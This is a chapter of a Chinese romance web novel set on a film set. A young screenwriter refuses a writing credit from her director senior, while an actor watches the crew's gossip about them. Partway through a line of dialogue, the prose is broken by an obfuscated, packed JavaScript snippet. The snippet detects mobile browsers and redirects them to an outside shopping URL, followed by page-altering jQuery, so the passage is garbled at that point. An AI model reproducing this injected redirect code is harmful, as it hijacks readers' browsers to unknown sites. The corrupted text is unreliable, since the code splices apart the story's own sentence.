“一个大学?”顾应想起丁恺之说过跟他是校友,回过神来,“这有什么,我不也那个大学吗?” “也是,你们仨是校友。”王承真心实意夸赞道,“老大,你怎么有一点风吹草动都知道?” 顾应追问:“然后呢?” “然后,就是夸你呀。” 顾应差点被这话噎死,觉得自己迟早得被王承这小子气死:“我是问那人阴阳怪气之后。” 王承哦了一声,将钟知晓的话大差不差地复述一遍。 相应的尊重,挺不卑不亢,事实如何只有当事人知道,像这种捕风捉影的事悠悠之口根本堵不住,顾应深受其害。 他有不少绯闻女友,同剧组、同活动,或者是配合剧组宣传,只要对视或者同酒店同城市各种想得到想不到,或多或少,营销号cp粉脑补出种种,编出无数种爱意。 唯粉接受不了,免不了在网上打架... 没有一个是真的。 “我还听说像钟老师这样没有资历的跟组编剧,咖位根本不可能跟主创住一层楼。”王承开了话匣子停不下来,“现在她住的房间原本是给原编剧的,也是丁导拍板说不换了,剧组才没动。” “还有这回事?”顾应垂眼细细思考,难道真有点什么?看起来也不太像。不过话说回来,他问:“你怎么知道房间的事?” “吴昂不是说要跟人聊天吗?”作为交换,王承编排了一些顾应莫须有的习惯, 比如说一顿吃很多也不长胖,其实顾应很努力地保持身材,饮食健身从不懈怠。 比如说早晚把两千毫升水喝够,白天少喝不影响拍戏。 比如说吃饭时喜欢看动漫,其实顾应压根不看。 当然这些不能跟老大说,不然自己真得收法院传票。 王承还在喋喋不休别的八卦,顾应耳朵疼,转过头看向窗外。前两天无意间撞见陈念和人亲密无间,丁恺之和钟知晓不清不楚,组里还真是卧虎藏龙。 “收工,大家辛苦了。”随着丁恺之这句话,其他人像是活了过来,加班到现在总算收工了...从早拍到晚,夜已深,工作人员手上一刻不停地收拾准备早些回去。 这一天钟知晓久违地跟了全程,坐了一天,她亦步亦趋跟在丁恺之身后:“师哥...” “什么事?”丁恺之坐了一天,肩颈此时酸痛无比,他起身活动。 “我听说加署名的事了...”钟知晓迟疑地问,“这是真的吗?” 丁恺之怔住,他没跟人提过,不过想想组里很多人都是在行业里待了好些年,做什么不用自己讲就能猜到七八分。他轻轻叹气:“晓晓,你听我说。” “不,师哥你听我说。”钟知晓停顿片刻,“不管是不是真的,师哥我不需要,这不是我写的本子。” “晓晓你有没有想过,没有署名,你要熬多久才能出头,你要在工作室里写多少本子才能自己写本子做剧做电影?” 是啊,钟知晓低头沉默了。 以前在编剧工作室,整整一年写方案和大纲没有钱,数也数不清的剧本会,即便是签了项目合同,基本也等不到后续。年底老板大发慈悲象征性发了点钱,连房租都不够。 这就是没有资历没有名气刚入行的小编剧。 “加署名这事可以说是为了你,也可以说是为了我自己,你有了能叫得出名字作品,后续我俩搭,剧本过会,投资方才有可能看一眼,不然谁会放心将项目交给一个连代表作都没有的新人。” 丁恺之的话说得很有道理,机会不是时时刻刻都有,出名出头难上加难。可是...钟知晓过不了这一关,就当是被现实捶得还不够狠吧,她摇摇头:“我知道,可我不要。” 天空黑得看不见星星,只剩一弯月高高悬挂,山上空旷寂静,时不时能听见虫鸣声。良久丁恺之嘴唇微张:“好,总有一天我们能拍出想要讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578111|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的故事。” “嗯!师哥,我相信你能拍出好的故事,我能写出想要讲的故事。”钟知晓郑重地回应,再多苦难,只要能离梦想近一点点,她都不想放弃。 换的实拍景终于结束,整个组转回棚内继续ab组争分夺秒地拍,哪怕忙得焦头烂额,但组里的八卦并不会就此消散。 原以为会好几天瞧不见钟知晓,顾应没想到刚迈入片场便一眼锁定她的身影。微风将她额前的发稍稍吹乱,手轻轻地拨开,跟身旁的同事讲话,跟丁恺之点头,有说有笑,毫不避嫌。 在一众人群里,顾应觉得像是有一道追光跟在钟知晓的身上,叫他挪不开眼睛。 钟知晓从顾应身旁经过,像什么都没发生过一般打招呼:“顾老师下午好。” 顾应一时有些发怔,好一会才回道:“来了?” 没想到顾应搭话,钟知晓发誓自己只是礼貌寒暄,并不是真的想要聊天...她微微一笑点头道:“嗯,我来转转。” 顾应没再回话,一时氛围有些尴尬,钟知晓只好说:“顾老师您忙,我先走了。” “好。”顾应突然觉得站不是,坐也不是,总觉得有什么不一样,却又说不出哪里不一样,只好来回踱步。 好在拍摄将他拉回工作,拉回戏里,忙起来进入角色也就很难想别的,虽然他也说不清是什么。 片场不可能把话说在明面上,私底下无非就是那些话,都不用钟知晓特意打听也知道,不可能一一解释,更不可能发声明,能做的只有清者自清,其他交给时间。 就连葛双都劝她暂时别去片场了,但她秉持着不去才是心虚的想法。加上关于设定改动的事一直拖着,每天改稿大都是些甜水戏充剧集时长,不怎么费脑子,她就每天去剧组晃一晃,遇到临时改动立马支个桌修改,倒也快。 拍戏空档,顾应把这一切默默看在眼里,钟知晓同往常一般,该做事做事绝不含糊,看不出有任何情绪,那天质问自己是否想换掉她的委屈,难道是假象,都是自己脑补的?片场有意无意的眼光她看不见?她的心装着什么,这人不会难受吗? 看不明白。 钟知晓全神贯注敲着字,一个不经意抬眼,顾应忙移开视线。他垂眼盯着自己手里的剧本,嘴里小声念叨,假装在念词。奇怪,自己为什么要躲?为什么要假装!一定是在发神经。 看来台词还是太少了,都不需要自己全心全意去背。 改完钟知晓发给丁恺之询问意见,丁恺之粗略看了两眼表示能行。这两天他忙得脚不沾地,除了剧组拍摄,最近平台有一部新戏筹备,关于剧本上改动全权交给了钟知晓。 钟知晓当然没意见,本就是她的本职工作,更何况丁恺之是她师哥,也是给她机会的人。调整的剧本,钟知晓挨着跟演员理顺,尽量让他们理解到位,提高拍摄通过率。 就算有不合理的地方她也往合理的方向去圆,本来嘛,人的想法情绪多变,一个念头也能改变走向。 这一天从早到晚,久违地跟了全程,下班后的钟知晓只觉一身疲惫,看了眼手机,姥姥的电话又没接上,天黑得早看不见影。她回拨过去还担心家里人睡了,没想到他们刚忙完在吃夜宵。 又忙到这么晚,她这个年纪能熬,爸妈姥姥的年纪还能熬吗...钟知晓不免心疼:“你们干嘛开这么晚啊,早点下班。” 孙萍反过头宽慰:“店关了在家也是看电视,而且我退休也没事做,精神正好。” 钟知晓想说别那么辛苦,可自己完全没有底气说出我养你们这样的话,唠了两句挂断电话,算一算还有段时间才能回家,哎。 不过回去之后呢,是继续找工作室写本子还是继续找跟组的活?能自己写本子当然最好了,可现实...一两年搭进去估计没个后续,自己还得靠家里。心疼真是最无用的东西,自己到底能做些什么啊。 钟知晓靠在床上自嘲:“钟知晓啊钟知晓,你还是这样失败,没用。” 师哥说得很对,没有代表作,哪个投资方会放心交给自己。 突然有些后悔,怎么回事!摆在跟前的诱惑,触手可及,很难不动摇。 只是有些坚持更重要。